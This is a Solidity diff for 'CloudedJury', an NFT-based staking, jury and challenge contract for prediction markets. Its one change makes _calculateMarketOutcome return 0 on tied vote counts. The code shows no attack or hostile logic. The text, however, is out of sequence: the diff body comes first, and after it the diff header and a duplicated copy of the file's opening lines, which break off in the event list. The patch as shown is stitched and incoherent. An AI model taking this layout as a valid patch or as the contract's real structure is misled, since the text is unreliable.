     function createMarket(string memory, string memory, string[] memory, uint256) external returns (uint256[] memory);
     function buy(address, uint256, uint256, uint256, uint256, uint256) external payable;
     function claimJuryReward(address, uint256, uint256) external returns (uint256);
 }
 
 interface IDAO {
     function mint(address, uint256) external;
     function outcomeVotes(uint256) external view returns (uint256);
     function buyBack() external payable;
 }
 
 contract CloudedJury is ERC721, ReentrancyGuardTransient {
     using Strings for uint256;
     using Ids for Ids.Set;
 
     event AddToWhitelist(address indexed addr);
     event BatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId);
     event Stake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event Unstake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event CreateMarket(address indexed marketCreator, uint256 indexed marketId, uint256 indexed tokenId);
     event StakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes);
     event UnstakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes, bool isMarketOf);
     event CreateMarketAfter(address indexed marketCreator, uint256 indexed marketId, string marketName, string marketRule, uint256[] marketOutcomeIds, string[] marketOutcomeNames, uint256 startAt, uint256 daysOf);
     event RevealOutcome(uint256 indexed marketId, address indexed juryAddr, uint256 indexed juryOutcomeIdOf, bytes32 randomNumber, uint256 juryReveals, uint256 marketRevealedTS, uint256 juryOutcome);
     event SelectJury(uint256 indexed marketId, uint256 indexed tokenId, uint256 indexed tokenOutcomeId, address tokenOwner);
     event Challenge(address indexed challenger, uint256 indexed marketId, uint256 indexed tokenId, uint256 marketChallengedTS);
     event ResolveMarket(uint256 indexed marketId, uint256 votingOutcomeId, uint256 resolvedOutcomeId);
     event ClaimCreatorToken(address indexed creator, uint256 indexed marketId, uint256 tokenId);
     event ClaimChallengerReward(address indexed challenger, uint256 indexed marketId, uint256 tokenId, uint256 challengerReward);
     event ClaimJuryReward(address indexed staker, uint256 indexed marketId, uint256 tokenId, uint256 tokenReward);
     event ClaimRewardAfter(address indexed staker, uint256 indexed marketId, bool isMarketOf);
     event Slash(address indexed staker, uint256 indexed marketId, uint256 outcomeId, uint256 tokenId);
     event SendSlashedTokenToDAO(uint256 indexed marketId, uint256 tokens, uint256 tokenValue);
     event PublicLaunch();
 
     uint256 constant DECIMALS = 1e18;
     address public immutable MANAGER;
     address public CLOUDED;
     address public DAO;
 
     bool public whitelisted;
 
     // Overall protocol conditions
     string  private uri_;
     string  private baseURI_;
     uint256 private nextTokenId_;
     uint256 private totalSupply_;
     Ids.Set private allOngoingMarketIds_;
     Ids.Set private allResolvedMarketIds_;
     mapping(uint256 => Market) private markets_;
 
     // Staker conditions
     mapping(address => bool) private whitelisted_;
     mapping(address => Ids.Set) private tokenOf_;
     mapping(address => Ids.Set) private marketOf_; // Markets that stakers participate which include staking, creating, challenging
     mapping(uint256 => address) private tokenAddr_; // Staker token address
     mapping(address => mapping(uint256 => Ids.Set)) private marketTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketCreatorTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketChallengerTokenOf_;
     mapping(address => mapping(uint256 => bytes32)) private marketCommitHashOf_;
     mapping(address => mapping(uint256 => bool)) private marketHasRevealedOf_;
     mapping(address => mapping(uint256 => uint256)) private marketOutcomeOf_;
 
     // Staked tokens
     mapping(uint256 => Ids.Set) private marketStakes_; // total stakes in the market excluding creator and challenger tokens
     mapping(uint256 => Ids.Set) private marketJuryStakes_; // total stakes picked as jury
     mapping(uint256 => mapping(uint256 => uint256)) private juryOutcomeCount_;   // The amount of stakes in the jury, in the order of marketId → outcomeId → count
     mapping(uint256 => mapping(uint256 => uint256)) private marketOutcomeCount_; // The amount of stakes in the market
 
     struct Market {
         uint256 creatorTokens;
         uint256 challengerToken;
         uint256 marketRevealedTS;
         uint256 marketChallengedTS;
         uint256 marketReveals;
         uint256 juryOutcome;
         uint256 votingOutcome;
         bytes32 randomNumber;
         bool juryHasSelected;
         bool marketResolved;
         Status status;
     }
 
     enum Status {
         ONGOING, 
         JURY, 
         APPEAL, 
         VOTING, 
         SETTLED
     }
 
     modifier isManager() { if (msg.sender != MANAGER) revert NotAuthorized(); _; }
 
     constructor(string memory _name, string memory _symbol, address _managerAddr) ERC721(_name, _symbol) {
         MANAGER = _managerAddr;
         whitelisted = true;
         nextTokenId_ = 1;
     }
 
     function addToWhitelist(address _addr) external isManager {
         whitelisted_[_addr] = true;
         emit AddToWhitelist(_addr);
     }
 
     function publicLaunch() external isManager { whitelisted = false; emit PublicLaunch(); }
 
     function isWhitelisted(address _addr) external view returns (bool) { return whitelisted_[_addr]; }
 
     function tokenURI(uint256 _tokenId) public view override returns (string memory) {
         _requireOwned(_tokenId);
         return bytes(baseURI_).length > 0 ? baseURI_ : string.concat(uri_, _tokenId.toString());
     }
 
     function updateURI(string memory _newBaseURI, string memory _newURI) external isManager {
         baseURI_ = _newBaseURI;
         uri_ = _newURI;
         emit BatchMetadataUpdate(1, nextTokenId_ - 1);
     }
 
     function updateDAOAddr(address _daoAddr) external isManager { DAO = _daoAddr; }
 
     function updateCloudedAddr(address _cloudedAddr) external isManager { CLOUDED = _cloudedAddr; }
 
     function updateMarketStatus(uint256 _marketId) external returns (uint8) { return uint8(_updateMarketStatus(_marketId)); }
 
     function getAllOngoingMarketIds() external view returns (uint256[] memory) { return allOngoingMarketIds_.getAll(); }
 
     function getCurrentCreateMarketPrice() external view returns (uint256) { return _getCurrentCreateMarketPrice(); }
 
     function getResolvedMarkets() external view returns (uint256) { return allResolvedMarketIds_.getLength(); }
 
     function getResolvedMarketIds(uint256 _offset, uint256 _limit) external view returns (uint256[] memory ids) {
         uint256 _totalMarkets = allResolvedMarketIds_.getLength();
         if (_offset >= _totalMarkets || _limit == 0) return new uint256[](0);
 
         uint256 _end   = _totalMarkets - _offset;
         uint256 _count = _end > _limit ? _limit : _end;
 
         ids = new uint256[](_count);
         for (uint256 i = 0; i < _count; i++) { ids[i] = allResolvedMarketIds_.getId(_end - 1 - i); }
     }
 
     function getMarketStoredInfo(uint256 _marketId) external view returns (
         uint256 creatorTokens, 
         uint256 challengerToken, 
         uint256 marketRevealedTS, 
         uint256 marketChallengedTS, 
         uint256 marketReveals, 
         uint256 juryOutcome, 
         uint256 votingOutcome, 
         bytes32 randomNumber, 
         bool    juryHasSelected, 
         bool    marketResolved
     ) {
         Market storage market = markets_[_marketId];
         creatorTokens      = market.creatorTokens;
         challengerToken    = market.challengerToken;
         marketRevealedTS   = market.marketRevealedTS;
         marketChallengedTS = market.marketChallengedTS;
         marketReveals      = market.marketReveals;
         juryOutcome        = market.juryOutcome;
         votingOutcome      = market.votingOutcome;
         randomNumber       = market.randomNumber;
         juryHasSelected    = market.juryHasSelected;
         marketResolved     = market.marketResolved;
     }
 
     function getMarketDerivedInfo(uint256 _marketId) external view returns (uint256 resolvedOutcome, uint8 status) {
         resolvedOutcome = _getResolvedMarketOutcome(_marketId);
         Status _current = _getMarketStatus(_marketId);
         status = uint8(_current > markets_[_marketId].status ? _current : markets_[_marketId].status);
     }
 
     function getUserTokenIds(address _userAddr) external view returns (uint256[] memory) { return tokenOf_[_userAddr].getAll(); }
 
     function getStakerMarketIds(address _stakerAddr) external view returns (uint256[] memory) { return marketOf_[_stakerAddr].getAll(); }
 
     function getStakerMarketTokenIds(address _stakerAddr, uint256 _marketId) external view returns (uint256[] memory creatorTokenIds, uint256[] memory challengerTokenIds, uint256[] memory stakerTokenIds) {
         creatorTokenIds    = marketCreatorTokenOf_[_stakerAddr][_marketId].getAll();
         challengerTokenIds = marketChallengerTokenOf_[_stakerAddr][_marketId].getAll();
         stakerTokenIds     = marketTokenOf_[_stakerAddr][_marketId].getAll();
     }
 
     function mint(uint256 _amount) external payable nonReentrant {
         if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();
 
         if (_amount == 0) revert ZeroAmount();
 
         uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
         if (msg.value < _mintPrice) revert InsufficientPayment();
 
         for (uint256 i = 0; i < _amount; i++) {
             _mint(msg.sender, nextTokenId_);
             nextTokenId_++;
         }
 
         IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();
 
         uint256 _refund = msg.value - _mintPrice;
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function redeem(uint256[] memory _tokenIds) external nonReentrant {
         uint256 _amount;
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             _burn(_tokenIds[i]);
             _amount++;
         }
 
         if (_amount == 0) revert ZeroAmount();
 
         (bool _success, ) = msg.sender.call{value: _amount * 299 * DECIMALS / 100}("");
         if (!_success) revert RefundFailed();
     }
 
     function stake(uint256 _marketId, uint256[] memory _tokenIds, bytes32 _commitHash) external nonReentrant {
         if (_commitHash == 0) revert NoCommitHash();
         if (_tokenIds.length == 0) revert NoTokenSelected();
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         uint256 _tokenId;
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _tokenId = _tokenIds[i];
             if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
             marketStakes.add(_tokenId);
             marketTokenOf.add(_tokenId);
             tokenAddr_[_tokenId] = msg.sender;
             _update(address(this), _tokenId, msg.sender);
             emit Stake(msg.sender, _marketId, _tokenId);
         }
         marketOf_[msg.sender].add(_marketId);
         marketCommitHashOf_[msg.sender][_marketId] = _commitHash;
         emit StakeAfter(msg.sender, _marketId, marketStakes.getLength());
     }
 
     function unstake(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (!marketTokenOf.isSet(_tokenIds[i])) revert NotStakedByOwner(_tokenIds[i]);
             marketStakes.remove(_tokenIds[i]);
             _unstake(_marketId, _tokenIds[i]);
         }
         if (marketTokenOf.getLength() == 0) delete marketCommitHashOf_[msg.sender][_marketId];
         if (marketCreatorTokenOf_[msg.sender][_marketId].getLength() == 0 && marketChallengerTokenOf_[msg.sender][_marketId].getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
         emit UnstakeAfter(msg.sender, _marketId, marketStakes.getLength(), marketOf_[msg.sender].isSet(_marketId));
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days, uint256[] memory _tokenIds, uint256 _outcomePosition, uint256 _shares) external payable nonReentrant {
         if (_outcomePosition == 0 || _outcomePosition > _outcomes.length) revert InvalidId();
 
         uint256 _requiredTokenAmount = _getCurrentCreateMarketPrice();
         if (_tokenIds.length < _requiredTokenAmount) revert StakeRequiredAmounts();
 
         uint256 _nextMarketId = IClouded(CLOUDED).nextMarketId();
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             marketCreatorTokenOf_[msg.sender][_nextMarketId].add(_tokenIds[i]);
             _update(address(this), _tokenIds[i], msg.sender);
             emit CreateMarket(msg.sender, _nextMarketId, _tokenIds[i]);
         }
 
         allOngoingMarketIds_.add(_nextMarketId);
         marketOf_[msg.sender].add(_nextMarketId);
         markets_[_nextMarketId].creatorTokens = _tokenIds.length;
 
         uint256[] memory _outcomeIds = IClouded(CLOUDED).createMarket(_name, _rule, _outcomes, _days);
         emit CreateMarketAfter(msg.sender, _nextMarketId, _name, _rule, _outcomeIds, _outcomes, block.timestamp, _days * 1 days);
 
         uint256 _outcomeId = _outcomeIds[_outcomePosition - 1];
         _creatorBuy(_nextMarketId, _outcomeId, _shares);
     }
 
     function revealOutcome(uint256 _marketId, uint256 _outcomeId, bytes32 _salt) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.JURY) revert JuryWindowEnded();
         if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
         if (marketHasRevealedOf_[msg.sender][_marketId]) revert OutcomeRevealed();
         marketHasRevealedOf_[msg.sender][_marketId] = true;
 
         bytes32 _commitHash = marketCommitHashOf_[msg.sender][_marketId];
         if (_commitHash == 0) revert NoCommitHash();
         if (keccak256(abi.encodePacked(msg.sender, _marketId, _outcomeId, _salt)) != _commitHash) revert WrongCommitHash();
         marketOutcomeOf_[msg.sender][_marketId] = _outcomeId;
 
         Market storage market = markets_[_marketId];
         market.randomNumber   = market.randomNumber ^ _salt;
 
         market.marketReveals     += marketTokenOf_[msg.sender][_marketId].getLength();
         if (market.marketReveals == marketStakes_[_marketId].getLength()) market.marketRevealedTS = block.timestamp;
 
         uint256 _winningOutcomeId;
         uint256 _winningOutcomeCount;
         uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
         marketOutcomeCount_[_marketId][_outcomeId] += marketTokenOf_[msg.sender][_marketId].getLength();
         for (uint256 i = 0; i < _marketOutcomeIds.length; i++) {
             if (marketOutcomeCount_[_marketId][_marketOutcomeIds[i]] > _winningOutcomeCount) {
                 _winningOutcomeId    = _marketOutcomeIds[i];
                 _winningOutcomeCount = marketOutcomeCount_[_marketId][_marketOutcomeIds[i]];
             }
         }
         market.juryOutcome = _winningOutcomeId;
 
         emit RevealOutcome(_marketId, msg.sender, _outcomeId, market.randomNumber, market.marketReveals, market.marketRevealedTS, market.juryOutcome);
     }
 
     function selectJury(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
 
         if (markets_[_marketId].juryHasSelected) revert JurySelected(true);
         markets_[_marketId].juryHasSelected = true;
 
         uint256 _attempt;
         Ids.Set storage marketStakes = marketStakes_[_marketId];
         uint256 _totalStakedTokens   = marketStakes.getLength();
         uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
         while (_attempt < _jurySet) {
             uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
             marketStakes.swap(_attempt, _position);
 
             uint256 _tokenId        = marketStakes.getId(_attempt);
             address _tokenOwner     = tokenAddr_[_tokenId];
             uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
             if (_tokenOutcomeId != 0) {
                 marketJuryStakes_[_marketId].add(_tokenId);
                 juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
                 emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
             }
 
             _attempt++;
         }
     }
 
     // Challenge can only be made once every market. 
     // The token will be rewarded if the voters also agree with the same outcome, 
     // but will be slashed for being wrong.
     function challenge(uint256 _marketId, uint256 _tokenId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
         if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
 
         Market storage market = markets_[_marketId];
         if (!market.juryHasSelected) revert JurySelected(false);
         if (market.marketChallengedTS != 0) revert MarketAlreadyChallenged();
         market.marketChallengedTS = block.timestamp;
         market.challengerToken++;
 
         marketOf_[msg.sender].add(_marketId);
         marketChallengerTokenOf_[msg.sender][_marketId].add(_tokenId);
 
         _update(address(this), _tokenId, msg.sender);
 
         emit Challenge(msg.sender, _marketId, _tokenId, block.timestamp);
     }
 
     function resolveMarket(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
 
         Market storage market = markets_[_marketId];
         if (market.marketResolved) revert MarketResolved(true);
         market.marketResolved = true;
 
         allOngoingMarketIds_.remove(_marketId);
         allResolvedMarketIds_.add(_marketId);
 
         bool _isMarketChallenged = market.marketChallengedTS != 0;
         if (_isMarketChallenged) {
             uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
             uint256[] memory _marketOutcomes   = new uint256[](_marketOutcomeIds.length);
             for (uint256 i = 0; i < _marketOutcomeIds.length; i++) _marketOutcomes[i] = IDAO(DAO).outcomeVotes(_marketOutcomeIds[i]);
             market.votingOutcome = _calculateMarketOutcome(_marketOutcomeIds, _marketOutcomes);
         }
 
         uint256 _resolvedOutcomeId = _getResolvedMarketOutcome(_marketId);
         _sendSlashedTokenValueToDao(_marketId, _resolvedOutcomeId);
 
         emit ResolveMarket(_marketId, market.votingOutcome, _resolvedOutcomeId);
     }
 
     function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
         if (!markets_[_marketId].marketResolved) revert MarketResolved(false);
 
         uint256 _currentTokenId;
         uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
         uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
         (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
         Market  storage market                  = markets_[_marketId];
         Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _currentTokenId = _tokenIds[i];
 
             if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }
 
             if (marketChallengerTokenOf.isSet(_currentTokenId)) {
                 if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                     _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                     if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                 } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                 continue;
             }
 
             if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller
 
             if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }
 
             if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                 if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                 else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
             }
 
             _unstake(_marketId, _currentTokenId);
 
             uint256 _tokenReward;
             if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
 
             emit ClaimJuryReward(msg.sender, _marketId, _currentTokenId, _tokenReward);
         }
 
         if (marketCreatorTokenOf.getLength() == 0 && marketChallengerTokenOf.getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
 
         emit ClaimRewardAfter(msg.sender, _marketId, marketOf_[msg.sender].isSet(_marketId));
     }
 
     function _getCurrentCreateMarketPrice() private view returns (uint256) { return totalSupply_ / 100 > 5 ? totalSupply_ / 100 : 5; }
 
     function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
         address from = super._update(_to, _tokenId, _auth);
 
         if (from == address(0)) totalSupply_++;
         if (_to == address(0)) totalSupply_--;
 
         if (from != address(0)) tokenOf_[from].remove(_tokenId);
         if (_to != address(0)) tokenOf_[_to].add(_tokenId);
 
         return from;
     }
 
     function _updateMarketStatus(uint256 _marketId) private returns (Status) {
         if (_marketId == 0 || _marketId >= IClouded(CLOUDED).nextMarketId()) revert InvalidId();
         Market storage market = markets_[_marketId];
         Status _currentMarketStatus = _getMarketStatus(_marketId);
         if (_currentMarketStatus > market.status) market.status = _currentMarketStatus;
         return market.status;
     }
 
     function _getMarketStatus(uint256 _marketId) private view returns (Status) {
         (uint256 _startAt, uint256 _daysOf) = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         uint256 _marketEndAt = _startAt + _daysOf;
 
         Market storage market = markets_[_marketId];
         uint256 _currentTimestamp = block.timestamp;
 
         if (_currentTimestamp < _marketEndAt) return Status.ONGOING;
 
         if (market.marketRevealedTS == 0 && _currentTimestamp < _marketEndAt + 1 days) return Status.JURY;
 
         uint256 _challengeStart = market.marketRevealedTS != 0 ? market.marketRevealedTS : _marketEndAt + 1 days;
 
         if (market.marketChallengedTS != 0) return _currentTimestamp >= market.marketChallengedTS + 3 days ? Status.SETTLED : Status.VOTING;
 
         return _currentTimestamp < _challengeStart + 1 days ? Status.APPEAL : Status.SETTLED;
     }
 
     function _creatorBuy(uint256 _nextMarketId, uint256 _outcomeId, uint256 _shares) private {
         uint256 _executionPrice = IClouded(CLOUDED).getPriceAppreciation(_outcomeId, true, _shares);
         if (msg.value < _executionPrice) revert InsufficientPayment();
 
         IClouded(CLOUDED).buy{value: _executionPrice}(msg.sender, _nextMarketId, _outcomeId, _shares, _executionPrice, 0);
 
         if (msg.value - _executionPrice > 0) {
             (bool _success, ) = msg.sender.call{value: msg.value - _executionPrice}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function _unstake(uint256 _marketId, uint256 _tokenId) private {
         marketTokenOf_[msg.sender][_marketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         _update(msg.sender, _tokenId, address(this));
         emit Unstake(msg.sender, _marketId, _tokenId);
     }
 
     function _calculateMarketOutcome(uint256[] memory _marketOutcomeIds, uint256[] memory _marketOutcomes) private pure returns (uint256) {
         uint256 _winningOutcome;
         uint256 _winningAmount;
+        bool _isTied;
         for (uint256 i = 0; i < _marketOutcomes.length; i++) {
             if (_marketOutcomes[i] > _winningAmount) {
                 _winningOutcome = _marketOutcomeIds[i];
                 _winningAmount  = _marketOutcomes[i];
+                _isTied         = false;
+            } else if (_marketOutcomes[i] == _winningAmount && _winningAmount != 0) {
+                _isTied = true;
             }
         }
-        return _winningOutcome;
+        return _isTied ? 0 : _winningOutcome;
     }
 
     function _slash(uint256 _tokenMarketId, uint256 _tokenOutcomeId, uint256 _tokenId) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         marketTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         emit Slash(msg.sender, _tokenMarketId, _tokenOutcomeId, _tokenId);
     }
 
     function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
         (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
         if (_slashedTokens > 0) {
             totalSupply_ -= _slashedTokens;
             IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
             emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
         }
     }
 
     function _getSlashedAndRewardedTokens(uint256 _marketId, uint256 _marketOutcome) private view returns (uint256 slashedTokens, uint256 winnerOutcomeStakes) {
         Market storage market = markets_[_marketId];
         uint256 _juryOutcome              = market.juryOutcome;
         uint256 _marketChallengerToken    = market.challengerToken;
         bool    _isChallengerTokenSlashed = _marketOutcome == _juryOutcome;
 
         slashedTokens = marketJuryStakes_[_marketId].getLength() - juryOutcomeCount_[_marketId][_marketOutcome];
 
         if (_isChallengerTokenSlashed) {
             slashedTokens += _marketChallengerToken;
             _marketChallengerToken = 0;
         }
 
         winnerOutcomeStakes = _marketChallengerToken + marketOutcomeCount_[_marketId][_marketOutcome];
 
         slashedTokens += marketStakes_[_marketId].getLength() - market.marketReveals; // Total slashed tokens including tokens not revealed
     }
 
     function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
         Market storage market = markets_[_marketId];
         if (!market.marketResolved)    return 0;
         if (market.votingOutcome != 0) return market.votingOutcome;
         if (market.juryOutcome != 0)   return market.juryOutcome;
         return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);
     }
 
     function _claimCreatorToken(uint256 _tokenMarketId, uint256 _currentTokenId) private {
         marketCreatorTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
         emit ClaimCreatorToken(msg.sender, _tokenMarketId, _currentTokenId);
     }
 
     function _claimChallengerReward(uint256 _tokenMarketId, uint256 _currentTokenId, uint256 _totalOutcomeStakes) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
 
         uint256 _challengerReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _tokenMarketId, _totalOutcomeStakes);
 
         emit ClaimChallengerReward(msg.sender, _tokenMarketId, _currentTokenId, _challengerReward);
     }
 
     error NotAuthorized();
     error Whitelisted();
     error ZeroAmount();
     error InvalidId();
     error RefundFailed();
     error NoTokenSelected();
     error OutcomeRevealed();
     error WrongCommitHash();
     error NoCommitHash();
     error MarketEnded();
     error MarketNotEnded();
     error JuryWindowEnded();
     error AppealWindowEnded();
     error MarketAlreadyChallenged();
     error NotOwner(uint256 tokenId);
     error NotStakedByOwner(uint256 tokenId);
     error JurySelected(bool selected);
     error MarketResolved(bool resolved);
     error InsufficientPayment();
     error StakeRequiredAmounts();
 }
\ No newline at end of file

diff --git a/CloudedJury.sol b/CloudedJury.sol
--- a/CloudedJury.sol
+++ b/CloudedJury.sol
@@ -1,646 +1,650 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
 import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function swap(Set storage set, uint256 _indexA, uint256 _indexB) internal {
         if (_indexA == _indexB) return;
         
         uint256 idA = set.ids[_indexA];
         uint256 idB = set.ids[_indexB];
 
         set.ids[_indexA] = idB;
         set.ids[_indexB] = idA;
 
         set.positions[idA] = _indexB + 1;
         set.positions[idB] = _indexA + 1;
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IClouded {
     function nextMarketId() external view returns (uint256);
     function getMarketStartAtDaysOf(uint256) external view returns (uint256, uint256);
     function getOutcomeMarketId(uint256) external view returns (uint256);
     function getMarketOutcomeIds(uint256) external view returns (uint256[] memory);
     function getMarketWinningOutcome(uint256) external view returns (uint256);
     function getPriceAppreciation(uint256, bool, uint256) external view returns (uint256);
     function getMarketIndexInfoInBatch(uint256[] memory _marketIds) external view returns (string[] memory, uint256[] memory, uint256[][] memory, string[][] memory, uint256[][] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function getMarketResolutionInfoInBatch(uint256[] memory) external view returns (string[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function createMarket(string memory, string memory, string[] memory, uint256) external returns (uint256[] memory);
     function buy(address, uint256, uint256, uint256, uint256, uint256) external payable;
     function claimJuryReward(address, uint256, uint256) external returns (uint256);
 }
 
 interface IDAO {
     function mint(address, uint256) external;
     function outcomeVotes(uint256) external view returns (uint256);
     function buyBack() external payable;
 }
 
 contract CloudedJury is ERC721, ReentrancyGuardTransient {
     using Strings for uint256;
     using Ids for Ids.Set;
 
     event AddToWhitelist(address indexed addr);
     event BatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId);
     event Stake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event Unstake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event CreateMarket(address indexed marketCreator, uint256 indexed marketId, uint256 indexed tokenId);
     event StakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes);
     event UnstakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes, bool isMarketOf);
     event CreateMarketAfter(address indexed marketCreator, uint256 indexed marketId, string marketName, string marketRule, uint256[] marketOutcomeIds, string[] marketOutcomeNames, uint256 startAt, uint256 daysOf);
     event RevealOutcome(uint256 indexed marketId, address indexed juryAddr, uint256 indexed juryOutcomeIdOf, bytes32 randomNumber, uint256 juryReveals, uint256 marketRevealedTS, uint256 juryOutcome);
     event SelectJury(uint256 indexed marketId, uint256 indexed tokenId, uint256 indexed tokenOutcomeId, address tokenOwner);
